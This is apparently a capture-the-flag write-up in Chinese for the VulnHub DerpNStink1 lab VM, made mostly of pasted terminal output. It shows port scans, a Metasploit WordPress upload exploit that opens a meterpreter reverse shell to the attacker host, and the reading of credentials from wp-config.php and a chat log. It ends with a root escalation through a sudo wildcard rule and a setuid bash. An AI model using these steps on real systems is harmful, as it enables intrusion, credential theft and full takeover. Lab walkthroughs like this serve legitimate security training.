# Nmap 7.94SVN scan initiated Thu Apr 10 21:08:23 2025 as: nmap -sT -p21,22,80 -sC -sV -O -oA ./nmapscan/detials 192.168.55.129 Nmap scan report for 192.168.55.129 Host is up (0.00040s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 12:4e:f8:6e:7b:6c:c6:d8:7c:d8:29:77:d1:0b:eb:72 (DSA) | 2048 72:c5:1c:5f:81:7b:dd:1a:fb:2e:59:67:fe:a6:91:2f (RSA) | 256 06:77:0f:4b:96:0a:3a:2c:3b:f0:8c:2b:57:b5:97:bc (ECDSA) |_ 256 28:e8:ed:7c:60:7f:19:6c:e3:24:79:31:ca:ab:5d:2d (ED25519) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-title: DeRPnStiNK |_http-server-header: Apache/2.4.7 (Ubuntu) | http-robots.txt: 2 disallowed entries |_/php/ /temporary/ MAC Address: 00:0C:29:4A:30:F8 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Apr 10 21:08:33 2025 -- 1 IP address (1 host up) scanned in 9.80 seconds # Nmap 7.94SVN scan initiated Thu Apr 10 21:06:52 2025 as: nmap -sT -p- -oA ./nmapscan/ports 192.168.55.129 Nmap scan report for 192.168.55.129 Host is up (0.0038s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:4A:30:F8 (VMware)
# Nmap done at Thu Apr 10 21:07:03 2025 -- 1 IP address (1 host up) scanned in 11.22 seconds
端口探测&服务探测
21端口
1 2 3 4 5 6 7 8 9
┌──(kali㉿kali)-[~/Vulnhub_box/DerpNStink1] └─$ ftp 192.168.55.129 Connected to 192.168.55.129. 220 (vsFTPd 3.0.2) Name (192.168.55.129:kali): anonymous 530 Permission denied. ftp: Login failed ftp>
Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.55.129 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /weblog yes The base path to the wordpress application VHOST no HTTP server virtual host WP_PASSWORD admin yes Valid password for the provided username WP_USER admin yes A valid username
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.55.128 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 WP SlideShow Gallery 1.4.6
View the full module info with the info, or info -d command.
1 2 3 4 5 6 7 8 9 10 11 12 13
msf6 exploit(unix/webapp/wp_slideshowgallery_upload) > run
[*] Started reverse TCP handler on 192.168.55.128:4444 [*] Trying to login as admin [*] Trying to upload payload [*] Uploading payload [*] Calling uploaded file myvzhfff.php [*] Sending stage (39927 bytes) to 192.168.55.129 [+] Deleted myvzhfff.php [*] Meterpreter session 1 opened (192.168.55.128:4444 -> 192.168.55.129:44044) at 2025-04-11 01:40:24 -0400
</html/weblog/wp-content/uploads/slideshow-gallery$ cat /etc/crontab cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
www-data@DeRPnStiNK:/var/www/html/weblog$ cat wp-config.php cat wp-config.php <?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://codex.wordpress.org/Editing_wp-config.php * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'wordpress'); /** MySQL database username */ define('DB_USER', 'root'); /** MySQL database password */ define('DB_PASSWORD', 'mysql'); /** MySQL hostname */ define('DB_HOST', 'localhost'); /** Database Charset to use in creating database tables. */
mysql> show databases; show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | phpmyadmin | | wordpress | +--------------------+ 5 rows in set (0.00 sec)
mysql> use wordpress; use wordpress; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
stinky@DeRPnStiNK:~$ cat ftp/files/network-logs/derpissues.txt cat ftp/files/network-logs/derpissues.txt 12:06 mrderp: hey i cant login to wordpress anymore. Can you look into it? 12:07 stinky: yeah. did you need a password reset? 12:07 mrderp: I think i accidently deleted my account 12:07 mrderp: i just need to logon once to make a change 12:07 stinky: im gonna packet capture so we can figure out whats going on 12:07 mrderp: that seems a bit overkill, but wtv 12:08 stinky: commence the sniffer!!!! 12:08 mrderp: -_- 12:10 stinky: fine derp, i think i fixed it for you though. cany you try to login? 12:11 mrderp: awesome it works! 12:12 stinky: we really are the best sysadmins #team 12:13 mrderp: i guess we are... 12:15 mrderp: alright I made the changes, feel free to decomission my account 12:20 stinky: done! yay stinky@DeRPnStiNK:~$
stinky@DeRPnStiNK:~$ su mrderp su mrderp Password: derpderpderpderpderpderpderp
mrderp@DeRPnStiNK:/home/stinky$
mrderp
然后重复之前的枚举步骤发现
sudo -l存在执行
1 2 3 4 5 6 7 8 9 10
[sudo] password for mrderp: derpderpderpderpderpderpderp
Matching Defaults entries for mrderp on DeRPnStiNK: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User mrderp may run the following commands on DeRPnStiNK: (ALL) /home/mrderp/binaries/derpy* mrderp@DeRPnStiNK:/home/stinky$
User mrderp may run the following commands on DeRPnStiNK: (ALL) /home/mrderp/binaries/derpy* mrderp@DeRPnStiNK:/home/stinky$ pwd pwd /home/stinky mrderp@DeRPnStiNK:/home/stinky$ cd /home cd /home mrderp@DeRPnStiNK:/home$ cd mrderp cd mrderp mrderp@DeRPnStiNK:~$ mkdir binaries mkdir binaries mrderp@DeRPnStiNK:~$ cd binaries cd binaries mrderp@DeRPnStiNK:~/binaries$ echo'chmod +s /bin/bash' >>derpy.sh echo'chmod +s /bin/bash' >>derpy.sh mrderp@DeRPnStiNK:~/binaries$ chmod +x derpy.sh chmod +x derpy.sh mrderp@DeRPnStiNK:~/binaries$ sudo ./derpy.sh sudo ./derpy.sh mrderp@DeRPnStiNK:~/binaries$ /bin/bash -p /bin/bash -p bash-4.3# id id uid=1000(mrderp) gid=1000(mrderp) euid=0(root) egid=0(root) groups=0(root),1000(mrderp)
